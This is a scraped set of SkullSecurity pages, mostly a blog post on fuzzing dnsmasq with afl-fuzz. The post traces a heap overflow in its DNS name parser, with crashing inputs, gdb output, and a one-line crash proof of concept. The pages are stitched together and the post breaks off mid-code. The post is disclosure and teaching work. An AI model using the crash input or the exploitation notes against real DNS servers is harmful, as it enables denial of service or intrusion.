    Assembly Language Tutorial
    Please choose a tutorial page:

    Welcome to the assembly page!

    Here you will find various tutorials on assembly (which may include cracking and hacking).

    In general, I've tried to start with the basics, and work up to more complicated stuff. I'm going to be writing these in my free time, so check back later to see if more have appeared!

    Edit Policy

    If you intend to edit anything on these pages, unless it's a minor change (spelling or grammar, for instance), please let me know first!

    Navigation menu

    #####EOF##### December » 2011 » SkullSecurity

    Remote control manager FAIL

    Hey guys, Today, I thought it'd be fun to take a good look at a serious flaw in some computer-management software. Basically, the software is designed for remotely controlling systems on networks (for installing updates or whatever). As far as I know, this vulnerability is currently unpatched; there are allegedly mitigations, but you have to […]

    #####EOF##### DNS » SkullSecurity

    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday! My Christmas present to you, the community, is dnscat2 version 0.05! Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and […]

    dnscat2: now with crypto!

    Hey everybody, Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default! Read on for some user information, then some implementation details for those who are interested! For […]

    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :) I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's […]

    dnscat2 beta release!

    As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :) I'd love to have people testing it, and getting feedback is super important to […]

    PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

    Hey folks, This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 […]

    A deeper look at ms11-058

    Hey everybody, Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - ms11-058 - was rated critical and potentially exploitable. However, according to Microsoft, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree. Although I didn't find […]

    Faking demos for fun and profit

    This week Last week Earlier this month Last month Last year (if this intro doesn't work, I give up trying to post this :) ), I presented at B-Sides Ottawa, which was put on by Andrew Hay and others (and sorry I waited so long before posting this... I kept revising it and not publishing). […]

    Call for testers: nbtool-0.05 and dnscat-0.05

    Hey all, I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer. I'm hoping for people to test: Through […]

    Stuffing Javascript into DNS names

    Greetings! Today seemed like a fun day to write about a really cool vector for cross-site scripting I found. In my testing, this attack is pretty specific and, in some ways, useless, but I strongly suspect that, with resources I don't have access to, this can trigger stored cross-site scripting in some pretty nasty places. […]

    Weaponizing dnscat with shellcode and Metasploit

    Hey all, I've been letting other projects slip these last couple weeks because I was excited about converting dnscat into shellcode (or "weaponizing dnscat", as I enjoy saying). Even though I got into the security field with reverse engineering and writing hacks for games, I have never written more than a couple lines of x86 […]

    DNS Backdoors with dnscat

    Hey all, I'm really excited to announce the first release of a tool I've put a lot of hard work into: dnscat. It's being released, along with a bunch of other tools that I'll be blogging about, as part of nbtool 0.04.

    #####EOF##### How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq » SkullSecurity


    How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

    Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

    Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

    You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.

    dnsmasq

    For those of you who don't know, dnsmasq is a service that you can run that handles a number of different protocols designed to configure your network: DNS, DHCP, DHCP6, TFTP, and more. We'll focus on DNS - I fuzzed the other interfaces and didn't find anything, though when it comes to fuzzing, absence of evidence isn't the same as evidence of absence.

    It's primarily developed by a single author, Simon Kelley. It's had a reasonably clean history in terms of vulnerabilities, which may be a good thing (it's coded well) or a bad thing (nobody's looking) :)

    At any rate, the author's response was impressive. I made a little timeline:

    • May 12, 2015: Discovered
    • May 14, 2015: Reported to project
    • May 14, 20252015: Project responded with a patch candidate
    • May 15, 2015: Patch committed

    The fix was actually pushed out faster than I reported it! (I didn't report for a couple days because I was trying to determine how exploitable / scary it actually is - it turns out that yes, it's exploitable, but no, it's not scary - we'll get to why at the end).

    DNS - the important bits

    The vulnerability is in the DNS name-parsing code, so it makes sense to spend a little time making sure you're familiar with DNS. If you're already familiar with how DNS packets and names are encoded, you can skip this section.

    Note that I'm only going to cover the parts of DNS that matter to this particular vulnerability, which means I'm going to leave out a bunch of stuff. Check out the RFCs (rfc1035, among others) or Wikipedia for complete details. As a general rule, I encourage everybody to learn enough to manually make requests to DNS servers, because that's an important skill to have - plus, it's only like 16 bytes to remember. :)

    DNS, at its core, is actually rather simple. A client wants to look up a hostname, so it sends a DNS packet containing a question to a DNS server (on UDP port 53, normally, but TCP can be used as well). Some magic happens, involving caches and recursion, then the server replies with a DNS message containing the original question, and zero or more answers.

    DNS packet structure

    The structure of a DNS packet is:

    • (int16) transaction id (trn_id)
    • (int16) flags (which include QR [query/response], opcode, RD [recursion desired], RA [recursion available], and probably other stuff that I'm forgetting)
    • (int16) question count (qdcount)
    • (int16) answer count (ancount)
    • (int16) authority count (nscount)
    • (int16) additional count (arcount)
    • (variable) questions
    • (variable) answers
    • (variable) authorities
    • (variable) additionals

    The last four fields - questions, answers, authorities, and additionals - are collectively called "resource records". Resource records of different types have different properties, but we aren't going to worry about that. The general structure of a question record is:

    • (variable) name (the important part!)
    • (int16) type (A/AAAA/CNAME/etc.)
    • (int16) class (basically always 0x0001, for Internet addresses)

    DNS names

    Questions and answers typically contain a domain name. A domain name, as we typically see it, looks like:

    this.is.a.name.skullseclabs.org

    But in a resource records, there aren't actually any periods, instead, each field is preceded by its length, with a null terminator (or a zero-length field) at the end:

    \x04this\x02is\x01a\x04name\x0cskullseclabs\x03org\x00

    The maximum length of a field is 63 - 0x3f - bytes. If a field starts with 0x40, 0x80, 0xc0, and possibly others, it has a special meaning (we'll get to that shortly).

    Questions and answers

    When you send a question to a DNS server, the packet looks something like:

    • (header)
    • question count = 1
    • question 1: ANY record for skullsecurity.org?

    and the response looks like:

    • (header)
    • question count = 1
    • answer count = 11
    • question 1: ANY record for "skullsecurity.org"?
    • answer 1: "skullsecurity.org" has a TXT record of "oh hai NSA"
    • answer 2: "skullsecurity.org" has a MX record for "ASPMX.L.GOOGLE.com".
    • answer 3: "skullsecurity.org" has a A record for "206.220.196.59"
    • ...

    (yes, those are some of my real records :) )

    If you do the math, you'll see that "skullsecurity.org" takes up 18 bytes, and would be included in the response packet 12 times, counting the question, which means we're effectively wasting 18 * 11 or close to 200 bytes. In the old days, 200 bytes were a lot. Heck, in the new days, 200 bytes are still a lot when you're dealing with millions of requests.

    Record pointers

    Remember how I said that name fields starting with numbers above 63 - 0x3f - are special? Well, the one we're going to pay attention to is 0xc0.

    0xc0 effectively means, "the next byte is a pointer, starting from the first byte of the packet, to where you can find the rest of the name".

    So typically, you'll see:

    • 12-bytes header (trn_id + flags + counts)
    • question 1: ANY record for "skullsecurity.org"
    • answer 1: \xc0\x0c has a TXT record of "oh hai NSA"
    • answer 2: \xc0\x0c ...

    "\xc0" indicates a pointer is coming, and "\x0c" says "look 0x0c (12) bytes from the start of the packet", which is immediately after the header. You can also use it as part of a domain name, so your answer could be "\x03www\xc0\x0c", which would become "www.skullsecurity.org" (assuming that string was 12 bytes from the start).

    This is only mildly relevant, but a common problem that DNS parsers (both clients and servers) have to deal with is the infinite loop attack. Basically, the following packet structure:

    • 12-byte header
    • question 1: ANY record for "\xc0\x0c"

    Because question 1 is self-referential, it reads itself over and over and the name never finishes parsing. dnsmasq solves this by limiting reference to 256 hops - that decision prevents a denial-of-service attack, but it's also what makes this vulnerability likely exploitable. :)

    Setting up the fuzz

    All right, by now we're DNS experts, right? Good, because we're going to be building a DNS packet by hand right away!

    Before we get to the actual vulnerability, I want to talk about how I set up the fuzzing. Being a networked application, it makes sense to use a network fuzzer; however, I really wanted to try out afl-fuzz from lcamtuf, which is a file-format fuzzer.

    afl-fuzz works as an intelligent file-format fuzzer that will instrument the executable (either by specially compiling it or using binary analysis) to determine whether or not it's hitting "new" code on each execution. It optimizes each cycle to take advantage of all the new code paths it's found. It's really quite cool!

    Unfortunately, DNS doesn't use files, it uses packets. But because the client and server each process only one single packet at a time, I decided to modify dnsmasq to read a packet from a file, parse it (either as a request or a response), then exit. That made it possible to fuzz with afl-fuzz.

    Unfortunately, that was actually pretty non-trivial. The parsing code and networking code were all mixed together. I ended up re-implementing "recv_msg()" and "recv_from()", among other things, and replacing their calls to those functions. That could also be done with a LD_PRELOAD hook, but because I had source that wasn't necessary. If you want to see the changes I made to make it possible to fuzz, you can search the codebase for "#ifdef FUZZ" - I made the fuzzing stuff entirely optional.

    If you want to follow along, you should be able to reproduce the crash with the following commands (I'm on 64-bit Linux, but I don't see why it wouldn't work elsewhere):

    $ git clone https://github.com/iagox86/dnsmasq-fuzzing
    Cloning into 'dnsmasq-fuzzing'...
    [...]
    $ cd dnsmasq-fuzzing/
    $ CFLAGS=-DFUZZ make -j10
    [...]
    $ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin
    dnsmasq: started, version  cachesize 150
    dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify
    dnsmasq: reading /etc/resolv.conf
    [...]
    Segmentation fault
    

    Warning: DNS is recursive, and in my fuzzing modifications I didn't disable the recursive requests. That means that dnsmasq will forward some of your traffic to upstream DNS servers, and that traffic could impact those severs (and I actually proved that, by accident; but we won't get into that :) ).

    Doing the actual fuzzing

    Once you've set up the program to be fuzzable, fuzzing it is actually really easy.

    First, you need a DNS request and response - that way, we can fuzz both sides (though ultimately, we don't need to for this particular vulnerability, since both the request and response parse names).

    If you've wasted your life like I have, you can just write the request by hand and send it to a server, then capture the response:

    $ mkdir -p fuzzing/client/input/
    $ mkdir -p fuzzing/client/output/
    $ echo -ne "\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01" > fuzzing/client/input/request.bin
    $ mkdir -p fuzzing/server/input/
    $ mkdir -p fuzzing/server/output/
    $ cat request.bin | nc -vv -u 8.8.8.8 53 > fuzzing/server/input/response.bin
    

    To break down the packet, in case you're curious

    • "\x12\x34" - trn_id - just a random number
    • "\x01\x00" - flags - I think that flag is RD - recursion desired
    • "\x00\x01" - qdcount = 1
    • "\x00\x00" - ancount = 0
    • "\x00\x00" - nscount = 0
    • "\x00\x00" - arcount = 0
    • "\x06google\x03com\x00" - name = "google.com"
    • "\x00\x01" - type = A record
    • "\x00\x01" - class = IN (Internet)

    You can verify it's working by hexdump'ing the response:

    $ hexdump -C response.bin
    00000000  12 34 81 80 00 01 00 0b  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d 00  00 01 00 01 c0 0c 00 01  |gle.com.........|
    00000020  00 01 00 00 01 2b 00 04  ad c2 21 67 c0 0c 00 01  |.....+....!g....|
    00000030  00 01 00 00 01 2b 00 04  ad c2 21 66 c0 0c 00 01  |.....+....!f....|
    00000040  00 01 00 00 01 2b 00 04  ad c2 21 69 c0 0c 00 01  |.....+....!i....|
    00000050  00 01 00 00 01 2b 00 04  ad c2 21 68 c0 0c 00 01  |.....+....!h....|
    00000060  00 01 00 00 01 2b 00 04  ad c2 21 63 c0 0c 00 01  |.....+....!c....|
    00000070  00 01 00 00 01 2b 00 04  ad c2 21 61 c0 0c 00 01  |.....+....!a....|
    00000080  00 01 00 00 01 2b 00 04  ad c2 21 6e c0 0c 00 01  |.....+....!n....|
    00000090  00 01 00 00 01 2b 00 04  ad c2 21 64 c0 0c 00 01  |.....+....!d....|
    000000a0  00 01 00 00 01 2b 00 04  ad c2 21 60 c0 0c 00 01  |.....+....!`....|
    000000b0  00 01 00 00 01 2b 00 04  ad c2 21 65 c0 0c 00 01  |.....+....!e....|
    000000c0  00 01 00 00 01 2b 00 04  ad c2 21 62              |.....+....!b|
    

    Notice how it starts with "\x12\x34" (the same transaction id I sent), has a question count of 1, has an answer count of 0x0b (11), and contains "\x06google\x03com\x00" 12 bytes in (that's the question). That's basically what we discussed earlier. But the important part is, it has "\xc0\x0c" throughout. In fact, every answer starts with "\xc0\x0c", because every answer is to the first and only question.

    That's exactly what I was talking about earlier - each of those 11 instances of "\xc0\x0c" saved about 10 bytes, so the packet is 110 bytes shorter than it would otherwise have been.

    Now that we have a base case for both the client and the server, we can compile the binary with afl-fuzz's instrumentation. Obviously, this command assumes that afl-fuzz is stored in "~/tools/afl-1.77b" - change as necessary. If you're trying to compile the original code, it doesn't accept CC= or CFLAGS= on the commandline unless you apply this patch first.

    Here's the compile command:

    $ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20
    

    and run the fuzzer:

    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@
    

    you can simultaneously fuzz the server, too, in a different window:

    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@
    

    then let them run a few hours, or possibly overnight.

    For fun, I ran a third instance:

    $ mkdir -p fuzzing/hello/input
    $ echo "hello" > fuzzing/hello/input/hello.bin
    $ mkdir -p fuzzing/hello/output
    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@
    

    ...which, in spite of being seeded with "hello" instead of an actual DNS packet, actually found an order of magnitude more crashes than the proper packets, except with much, much uglier proofs of concept.. :)

    Fuzz results

    I let this run overnight, specifically to re-create the crashes for this blog. In the morning (after roughly 20 hours of fuzzing), the results were:

    • 7 crashes starting with a well formed request
    • 10 crashes starting from a well formed response
    • 93 crashes starting from "hello"

    You can download the base cases and results here, if you want.

    Triage

    Although we have over a hundred crashes, I know from experience that they're all caused by the same core problem. But not knowing that, I need to pick something to triage! The difference between starting from a well formed request and starting from a "hello" string is noticeable... to take the smallest PoC from "hello", we have:

    crashes $ hexdump -C id\:000024\,sig\:11\,src\:000234+000399\,op\:splice\,rep\:16
    00000000  68 00 00 00 00 01 00 02  e8 1f ec 13 07 06 e9 01  |h...............|
    00000010  67 02 e8 1f c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |g...............|
    00000020  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000030  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 b8 c0 c0 c0 c0 c0  |................|
    00000040  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000050  c0 c0 c0 c0 c0 c0 c0 c0  c0 af c0 c0 c0 c0 c0 c0  |................|
    00000060  c0 c0 c0 c0 cc 1c 03 10  c0 01 00 00 02 67 02 e8  |.............g..|
    00000070  1f eb ed 07 06 e9 01 67  02 e8 1f 2e 2e 10 2e 2e  |.......g........|
    00000080  00 07 2e 2e 2e 2e 00 07  01 02 07 02 02 02 07 06  |................|
    00000090  00 00 00 00 7e bd 02 e8  1f ec 07 07 01 02 07 02  |....~...........|
    000000a0  02 02 07 06 00 00 00 00  02 64 02 e8 1f ec 07 07  |.........d......|
    000000b0  06 ff 07 9c 06 49 2e 2e  2e 2e 00 07 01 02 07 02  |.....I..........|
    000000c0  02 02 05 05 e7 02 02 02  e8 03 02 02 02 02 80 c0  |................|
    000000d0  c0 c0 c0 c0 c0 c0 c0 c0  c0 80 1c 03 10 80 e6 c0  |................|
    000000e0  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    000000f0  c0 c0 c0 c0 c0 c0 b8 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000100  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000110  c0 c0 c0 c0 c0 af c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000120  cc 1c 03 10 c0 01 00 00  02 67 02 e8 1f eb ed 07  |.........g......|
    00000130  00 95 02 02 02 05 e7 02  02 10 02 02 02 02 02 00  |................|
    00000140  00 80 03 02 02 02 f0 7f  c7 00 80 1c 03 10 80 e6  |................|
    00000150  00 95 02 02 02 05 e7 67  02 02 02 02 02 02 02 00  |.......g........|
    00000160  00 80                                             |..|
    

    Or, if we run afl-tmin on it to minimize:

    00000000  30 30 00 30 00 01 30 30  30 30 30 30 30 30 30 30  |00.0..0000000000|
    00000010  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000020  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 c0 c0 30  |0000000000000..0|
    00000040  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000050  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000060  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000070  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000080  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000090  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000a0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000b0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000c0  05 30 30 30 30 30 c0 c0
    

    (note the 0xc0 at the end - our old friend - but instead of figuring out "\xc0\x0c", the simplest case, it found a much more complex case)

    Whereas here are all four crashing messages from the valid request starting point:

    crashes $ hexdump -C id\:000000\,sig\:11\,src\:000034\,op\:flip2\,pos\:24
    00000000  12 34 01 00 00 01 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    0000001c
    
    crashes $ hexdump -C id\:000001\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
    00000000  12 34 08 00 00 01 00 00  e1 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    0000001c
    
    crashes $ hexdump -C id\:000002\,sig\:11\,src\:000034\,op\:havoc\,rep\:2
    00000000  12 34 01 00 eb 00 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    
    crashes $ hexdump -C id\:000003\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
    00000000  12 34 01 00 00 01 01 00  00 00 10 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 00 00 00 00 00 06 67  |gle.com........g|
    00000020  6f 6f 67 6c 65 03 63 6f  6d c0 00 01 00 01        |oogle.com.....|
    0000002e
    

    The first three crashes are interesting, because they're very similar. The only differences are the flags field (0x0100 or 0x0800) and the count fields (the first is unmodified, the second has 0xe100 "authority" records listed, and the third has 0xeb00 "question" records). Presumably, that stuff doesn't matter, since random-looking values work.

    Also note that near the end of every message, we see our old friend again: "\xc0\x0c".

    We can run afl-tmin on the first one to get the tightest message we can:

    00000000  30 30 30 30 30 30 30 30  30 30 30 30 06 30 6f 30  |000000000000.0o0|
    00000010  30 30 30 03 30 30 30 c0  0c                       |000.000..|
    

    As predicted, the question and answer counts don't matter. All that matters is the name's length fields and the "\xc0\x0c". Oddly it included the "o" from google.com, which is probably a bug (my fuzzing instrumentation isn't perfect because due to requests going to the Internet, the result isn't always deterministic).

    The vulnerability

    Now that we have a decent PoC, let's check it out in a debugger:

    $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin
    Reading symbols from ./dnsmasq...done.
    Unable to determine compiler version.
    Skipping loading of libstdc++ pretty-printers for now.
    (gdb) run
    [...]
    Program received signal SIGSEGV, Segmentation fault.
    __strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135
    135     ../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.
    

    It crashed in strcpy. Fun! Let's see the line it crashed on:

    (gdb) x/i $rip
    => 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
    (gdb) print/x $rdx
    $1 = 0x0
    

    Oh, a null-pointer write. Seems pretty lame.

    Honestly, when I got here, I lost steam. Null-pointer dereferences need to be fixed, especially because they can hide other bugs, but they aren't going to earn me l33t status. So I would have to fix it or deal with hundreds of crappy results.

    If we look at the packet in more detail, the name it's parsing is essentially: "\x06AAAAAA\x03AAA\xc0\x0c" (changed '0' to 'A' to make it easier on the eyes). The "\xc0\x0c" construct reference 12 bytes into the message, which is the start of the name. When it's parsed, after one round, it'll be "\x06AAAAAA\x03AAA\x06AAAAAA\x03AAA\xc0\x0c". But then it reaches the "\xc0\x0c" again, and goes back to the beginning. Basically, it infinite loops in the name parser.

    So, it's obvious that a self-referential name causes the problem. But why?

    I tracked down the code that handles 0xc0. It's in rfc1035.c, and looks like:

         if (label_type == 0xc0) /* pointer */
            {
              if (!CHECK_LEN(header, p, plen, 1))
                return 0;
    
              /* get offset */
              l = (l&0x3f) << 8;
              l |= *p++;
    
              if (!p1) /* first jump, save location to go back to */
                p1 = p;
    
              hops++; /* break malicious infinite loops */
              if (hops > 255)
              {
                printf("Too many hops!\n");
                printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
                return 0;
              }
    
              p = l + (unsigned char *)header;
            }
    

    If look at that code, everything looks pretty okay (and for what it's worth, the printf()s are my instrumentation and aren't in the original). If that's not the problem, the only other field type being parsed is the name part (ie, the part without 0x40/0xc0/etc. in front). Here's the code (with a bunch of stuff removed and the indents re-flowed):

      namelen += l;
      if (namelen+1 >= MAXDNAME)
      {
        printf("namelen is too long!\n"); /* <-- This is what triggers. */
        printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
        return 0;
      }
      if (!CHECK_LEN(header, p, plen, l))
      {
        printf("CHECK_LEN failed!\n");
        return 0;
      }
      for(j=0; j<l; j++, p++)
      {
        unsigned char c = *p;
        if (c != 0 && c != '.')
          *cp++ = c;
        else
          return 0;
      }
      *cp++ = '.';
    

    This code runs for each segment that starts with a value less than 64 ("google" and "com", for example).

    At the start, l is the length of the segment (so 6 in the case of "google"). It adds that to the current TOTAL length - namelen - then checks if it's too long - this is the check that prevents a buffer overflow.

    Then it reads in l bytes, one at a time, and copies them into a buffer - cp - which happens to be on the heap. the namelen check prevents that from overflowing.

    Then it copies a period into the buffer and doesn't increment namelen.

    Do you see the problem there? It adds l to the total length of the buffer, then it reads in l + 1 bytes, counting the period. Oops?

    It turns out, you can mess around with the length and size of substrings quite a bit to get a lot of control over what's written where, but exploiting it is as simple as doing a lookup for "\x08AAAAAAAA\xc0\x0c":

    $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
    $ ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
    [...]
    Segmentation fault
    

    However, there are two termination conditions: it'll only loop a grand total of 255 times, and it stops after namelen reaches 1024 (non-period) bytes. So coming up with the best possible balance to overwrite what you want is actually pretty tricky - possibly even requires a bit of calculus (or, if you're an engineer, a program that can optimize it for you :) ).

    I should also mention: the reason the "\xc0\x0c" is needed in the first place is that it's impossible to have a name string in that's 1024 bytes - somewhere along the line, it runs afoul of a length check. The "\xc0\x0c" method lets us repeat stuff over and over, sort of like decompressing a small string into memory, overflowing the buffer.

    Exploitability

    I mentioned earlier that it's a null-pointer deref:

    (gdb) x/i $rip
    => 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
    (gdb) print/x $rdx
    $1 = 0x0
    

    Let's try again with the crash.bin file we just created, using "\x08AAAAAAAA\xc0\x0c" as the payload:

    $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
    $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
    [...]
    (gdb) run
    [...]
    (gdb) x/i $rip
    => 0x449998 <answer_request+1064>:      mov    DWORD PTR [rdx+0x20],0x0
    (gdb) print/x $rdx
    $1 = 0x4141412e41414141
    

    Woah.. that's not a null-pointer dereference! That's a write-NUL-byte-to-arbitrary-memory! Those might be exploitable!

    As I mentioned earlier, this is actually a heap overflow. The interesting part is, the heap memory is allocated once - immediately after the program starts - and right after, a heap for the global settings object (daemon) is allocated. That means that we have effectively full control of this object, at least the first couple hundred bytes:

    extern struct daemon {
      /* datastuctures representing the command-line and.
         config file arguments. All set (including defaults)
         in option.c */
    
      unsigned int options, options2;
      struct resolvc default_resolv, *resolv_files;
      time_t last_resolv;
      char *servers_file;
      struct mx_srv_record *mxnames;
      struct naptr *naptr;
      struct txt_record *txt, *rr;
      struct ptr_record *ptr;
      struct host_record *host_records, *host_records_tail;
      struct cname *cnames;
      struct auth_zone *auth_zones;
      struct interface_name *int_names;
      char *mxtarget;
      int addr4_netmask;
      int addr6_netmask;
      char *lease_file;.
      char *username, *groupname, *scriptuser;
      char *luascript;
      char *authserver, *hostmaster;
      struct iname *authinterface;
      struct name_list *secondary_forward_server;
      int group_set, osport;
      char *domain_suffix;
      struct cond_domain *cond_domain, *synth_domains;
      char *runfile;.
      char *lease_change_command;
      struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_interfaces;
      struct bogus_addr *bogus_addr, *ignore_addr;
      struct server *servers;
      struct ipsets *ipsets;
      int log_fac; /* log facility */
      char *log_file; /* optional log file */                                                                                                              int max_logs;  /* queue limit */
      int cachesize, ftabsize;
      int port, query_port, min_port;
      unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_ttl;
      struct hostsfile *addn_hosts;
      struct dhcp_context *dhcp, *dhcp6;
      struct ra_interface *ra_interfaces;
      struct dhcp_config *dhcp_conf;
      struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6;
      struct dhcp_vendor *dhcp_vendors;
      struct dhcp_mac *dhcp_macs;
      struct dhcp_boot *boot_config;
      struct pxe_service *pxe_services;
      struct tag_if *tag_if;.
      struct addr_list *override_relays;
      struct dhcp_relay *relay4, *relay6;
      int override;
      int enable_pxe;
      int doing_ra, doing_dhcp6;
      struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_names;.
      struct dhcp_netid_list *force_broadcast, *bootp_dynamic;
      struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_dirs;
      int dhcp_max, tftp_max;
      int dhcp_server_port, dhcp_client_port;
      int start_tftp_port, end_tftp_port;.
      unsigned int min_leasetime;
      struct doctor *doctors;
      unsigned short edns_pktsz;
      char *tftp_prefix;.
      struct tftp_prefix *if_prefix; /* per-interface TFTP prefixes */
      unsigned int duid_enterprise, duid_config_len;
      unsigned char *duid_config;
      char *dbus_name;
      unsigned long soa_sn, soa_refresh, soa_retry, soa_expiry;
    #ifdef OPTION6_PREFIX_CLASS.
      struct prefix_class *prefix_classes;
    #endif
    #ifdef HAVE_DNSSEC
      struct ds_config *ds;
      char *timestamp_file;
    #endif
    
      /* globally used stuff for DNS */
      char *packet; /* packet buffer */
      int packet_buff_sz; /* size of above */
      char *namebuff; /* MAXDNAME size buffer */
    #ifdef HAVE_DNSSEC
      char *keyname; /* MAXDNAME size buffer */
      char *workspacename; /* ditto */
    #endif
      unsigned int local_answer, queries_forwarded, auth_answer;
      struct frec *frec_list;
      struct serverfd *sfds;
      struct irec *interfaces;
      struct listener *listeners;
      struct server *last_server;
      time_t forwardtime;
      int forwardcount;
      struct server *srv_save; /* Used for resend on DoD */
      size_t packet_len;       /*      "        "        */
      struct randfd *rfd_save; /*      "        "        */
      pid_t tcp_pids[MAX_PROCS];
      struct randfd randomsocks[RANDOM_SOCKS];
      int v6pktinfo;.
      struct addrlist *interface_addrs; /* list of all addresses/prefix lengths associated with all local interfaces */
      int log_id, log_display_id; /* ids of transactions for logging */
      union mysockaddr *log_source_addr;
    
      /* DHCP state */
      int dhcpfd, helperfd, pxefd;.
    #ifdef HAVE_INOTIFY
      int inotifyfd;
    #endif
    #if defined(HAVE_LINUX_NETWORK)
      int netlinkfd;
    #elif defined(HAVE_BSD_NETWORK)
      int dhcp_raw_fd, dhcp_icmp_fd, routefd;
    #endif
      struct iovec dhcp_packet;
      char *dhcp_buff, *dhcp_buff2, *dhcp_buff3;
